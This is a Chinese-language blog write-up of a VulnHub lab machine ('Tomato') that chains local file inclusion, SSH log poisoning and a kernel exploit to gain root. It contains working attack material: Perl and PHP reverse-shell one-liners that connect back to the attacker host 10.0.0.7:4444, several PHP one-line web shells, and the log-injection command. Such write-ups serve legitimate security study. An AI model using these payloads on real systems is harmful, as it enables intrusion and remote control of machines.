Vulnhub打靶记录:tomato

相关信息

kali:10.0.0.7/24

靶机:10.0.0.8/24

靶机介绍:Tomato: 1 ~ VulnHub

靶机下载:https://download.vulnhub.com/tomato/Tomato.ova

目标:一个 flag + root权限

难度:低

未提及的相关知识点,命令和代码等等可以查看我其他三个blog:

文字思路

全流程思路:

  • 主机发现 端口扫描 信息搜集 路径爬取
  • 源码分析:通过查看爬取的 web路径和相关网页的源码,发现注释
  • 文件包含:文件包含的各个方式
  • 写入日志:非常重要的思路,无论是文件包含还是 ssti等漏洞都是可以通过这
  • 内核漏洞枚举:一个自动化脚本的使用
  • 本地提权

下意识的操作

  1. 任何网页都要查看源码
  2. linux靶机在确定是否有python时,请把 python,python2,python3全部试一遍

主要的知识点

  1. 文件包含测试时包含那几个方面:
    • 本地系统文件
      • passwd
      • ssh秘钥登陆默认存放秘钥的文件
      • log日志
    • 远程文件包含
  2. 自动化漏洞脚本
  3. 掌握 gcc:glibc的指定

具体流程

信息收集

  1. 主机发现,端口扫描,服务确定。21:ftpvsftpd 3.0.3是没有什么远程执行的漏洞,但是有个拒绝服务的漏洞(和我们打靶无关)。另外靶机的 ssh服务这次开在了 2211端口,更为重要的信息是 nmap的脚本扫描是没有返向任何目标靶机可以利用的漏洞信息。

    image-20230609183955672
  2. 访问靶机相关的 web页面,其中 80端口就是一个简单的图片页面没有什么价值(源码也是没有任何信息),8000端口的 web一访问就需要我们输入账号密码(字典爆破也没有效果)。

    image-20230609184736596
  3. 那信息收集几乎就只有目录爬取这个思路了,使用 dirsearch来帮我们获取后台路径(默认的字典是爬不出来,需要指定字典)。

    image-20230609190109652
  4. 浏览爬取到的相关目录,浏览到/antibot_image/antibots/下的readme.txt, jpg文件时,可以大致的知道靶机上可能有 反爬虫软件。点开 info.php文件(php环境的配置的展示网页)并查看其源码,发现个非常重要的注释,提示我们该网页存在个参数 GET:image参数。 || bots:反爬虫技术

    image-20230609190301429 image-20230609190220103

文件包含

  1. 大胆的推测 image参数后面可能为路径,赋值为 /etc/passwd,再查看页面源码直到最后,发现网页竟然真的包含了 /etc/passwd,同时不难发现只有 root,tomato两个用户具有 shell

    下面为三个走不通的思路:

    • 对上述两个用户ssh密码爆破
    • 访问 /home/tomato/.ssh/id_rsa看是否可以通过秘钥传递绕过 ssh需要输入密码
    • 远程文件包含:不论进行实测还查看 info.php文件都可以证明靶机是不能进行远程文件包含的。因为 phpinfo直接禁止 allow_url_include
    image-20230609191520819 image-20230609192623776
  2. 目标靶机存在明显的文件包含漏洞(给我们感觉就应该从这个漏洞入手,完全凭借经验),进而想到是否可以包含 log文件呢? (log文件这个思路在文件上传漏洞也是可以利用的) 当对靶机开放的所有服务默认的 log文件路径进行包含发现都是失败的(失败可能的原因: 权限不够,没有开启日志,目录不对等等),直到对系统本身的 log文件 /var/log/auth.log包含时才有一定的收获。 auth.log介绍

    image-20230609200053430

这里值得注意,info.php是个 php文件,但是我们包含的文件是直接以源码的形式呈现到源码中。这就意味着如果包含的日志中有恶意 php,js等语言是会php语言被执行的。

  1. 先用一个根本不存在的用户,测试是否能够成功写入到 log中: ssh aaaaaaaaa@10.0.0.8 -p2211。结果不用多说,所以尝试 反弹shell是有可能的。

    image-20230609202224034

反弹shell

  1. 键入ssh '<?php echo shell_exec($_GET["cmd"]); ?>'@10.0.0.8 -p2211来将恶意代码视为用户名,利用log写入到靶机中(外侧一定要使用单引号,cmd使用双引号。否则无法执行)。不过再次包含 log文件的时候并没有发现恶意代码,这是个好事表明靶机并没有将恶意代码当为字符串执行,而是将其看为 php代码执行所以导致无法查看。上载下面的 payload发现成功的反弹了shell

    perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.7:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
    
    image-20230609204614939

漏洞检测与利用

  1. 由于靶机存在 nc工具,我们就通过 nc来进行文件的传输。注意一下几点:

    • 将检测工具放在/tmp使用

    • 靶机的 shell必须简单的升级后才能使用 cd /tmp来进行跳转目录 。升级目录:/bin/bash -i

    • -w 1参数表示在建立联系完毕后 1秒后自动断开 nc连接

      image-20230610093633472

  2. 更改检测脚本权限,运行后按照他提供漏洞利用的可能性来挨个尝试(第二个是成功的)。

    可以看到这个工具会检测73个内核漏洞,43个用户权限漏洞。

    image-20230610094811196
  3. 然后利用python3来升级一下 shell,由于靶机是没有 gcc的利用环境的。我们必须在 kali上编译后再上载给靶机上执行。但是我们却发现一个非常麻烦的问题,当获取的exp更改权限执行后发现靶机上的动态链接库有问题:``GLIBC_3.4' not found`。

    image-20230618145457865 image-20230618145528858
  • 同上面漏洞的exp地址后面的序号,直接在 kali中键入 searchsploit -p 45010,就可返回只带的漏洞脚本
  • 当我们确定靶机上是否有python环境的时候,一定要将 python,python2,pthon3都试一遍。靶机上是有python3。说以我们可以升级 shell
  1. 通过在 kali,靶机上分别键入以下命令,可以看到靶机上确实没有 GLIBC_2.34的。

    strings /lib/x86_64-linux-gnu/libc.so.6 |grep GLIBC_2.3
    

    image-20230610171158915

  2. 当在 kali中使用固定版本的 glibc编译后的 exp上传到靶机后,赋予执行权限进行运行发现成功的提权为 root用户,然后进行 flag的读取完成打靶。

    • 先获取对应的 glibc,然后解压改文件:

      wget http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb
      
    • 接着进行解压和 gcc的指定编译

      image-20230618145928171
    • 最后进行提权脚本的使用,记得添加可执行权限

      image-20230618144418820

      则个编译出现的 not find问题在第一个靶机上也是存在同样的问题,解决方法是相同的。
      https://www.cnblogs.com/cchl/articles/vulnhub_medium_socnet.html

相关工具/命令

工具

linux-exploit-suggerster

  1. what?

    Linux Exploit Suggester 是使用 Perl 编程语言编写的工具,分析目标系统的内核版本和软件包,并与已知的漏洞数据库进行比对,以提供漏洞建议,需要自己安装

    就是一个漏洞扫描脚本,在靶机上运行来获取器漏洞存在的可能

  2. 如何食用

    下载完成后再对应的文件中会有一个 .sh的文件,直接将该文件上传到靶机上运行即可

payload

perl反弹shell

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.7:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

php反弹shell

php -r '$sock=fsockopen(\"10.0.0.7\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");'

复盘/相关知识

复盘

反弹shell的试错

  1. nc 返回

    在通过 which nc的payload,发现靶机上是有 nc的。但是当使用的时候出现了两个问题导致我们无法使用 nc

    • 没有 -e参数
    • 当我简单的建立 tcp连接:nc 10.0.0.7的时候,会在建立连接后立马断开。导致我们使用 nc串联技术也是不可能的了
  2. python

    直接 which发现靶机都没有python,但是有python3可以进行反弹shell,这是后续修改的当时打靶还是用的 perl语言反弹的 shell

  3. perl

    使用 which perl时发现靶机是有该语言环境的,所以但我们使用该语言进行反弹 shell才成功

重要

双引号和单引号的区别

在 Linux shell 中,单引号 ' 和双引号 " 的区别在于,双引号中的变量会被解析,而单引号中的变量不会被解析。例如,如果你定义了一个变量 var=world,那么在双引号中输入 echo "hello $var" 会输出 hello world,而在单引号中输入 echo 'hello $var' 会输出 hello $var 返回

php后门的注意

  1. 蚁剑,卡巴斯基等自动化的后门:<?php eval($_POST['cmd']);?>

    eval其实是不能执行 shell命令,它只能执行相关的 php命令。之所以自动化工具能够执行 shell命令,是因为做了后台的加工

  2. 手动的后台反弹:

    • <?php echo system($_GET['cmd']);?>
    • ```
    • <?php echo exec($_GET['cmd']);?>
    • <?php echo passthru($_GET['cmd']);?>

/var/log/auth.log

  1. what? 返回

    一个系统日志文件,它记录了与用户身份验证和授权相关的信息。在许多Linux系统中,这个文件用于记录用户登录、登出、密码更改以及其他身份验证事件,包括 ssh,ftp等登陆信息

  2. 渗透思路

    文件包含来执行一句话木马

了解

perl语言

  1. what? 返回

    Perl 是一种高级、通用、直译式、动态的编程语言,由拉里·沃尔(Larry Wall)设计并开发。它最初被设计用于文本处理,但随着时间的推移,它已经演变成了用于系统管理、网络编程、GUI 编程和 Web 编程等领域的通用编程语言。Perl 语言具有很多特性,如正则表达式、模块化编程、面向对象编程、函数式编程等。

    希望这可以帮到你。

posted @ 2023-06-26 11:46  C_CHL  阅读(506)  评论(4编辑  收藏  举报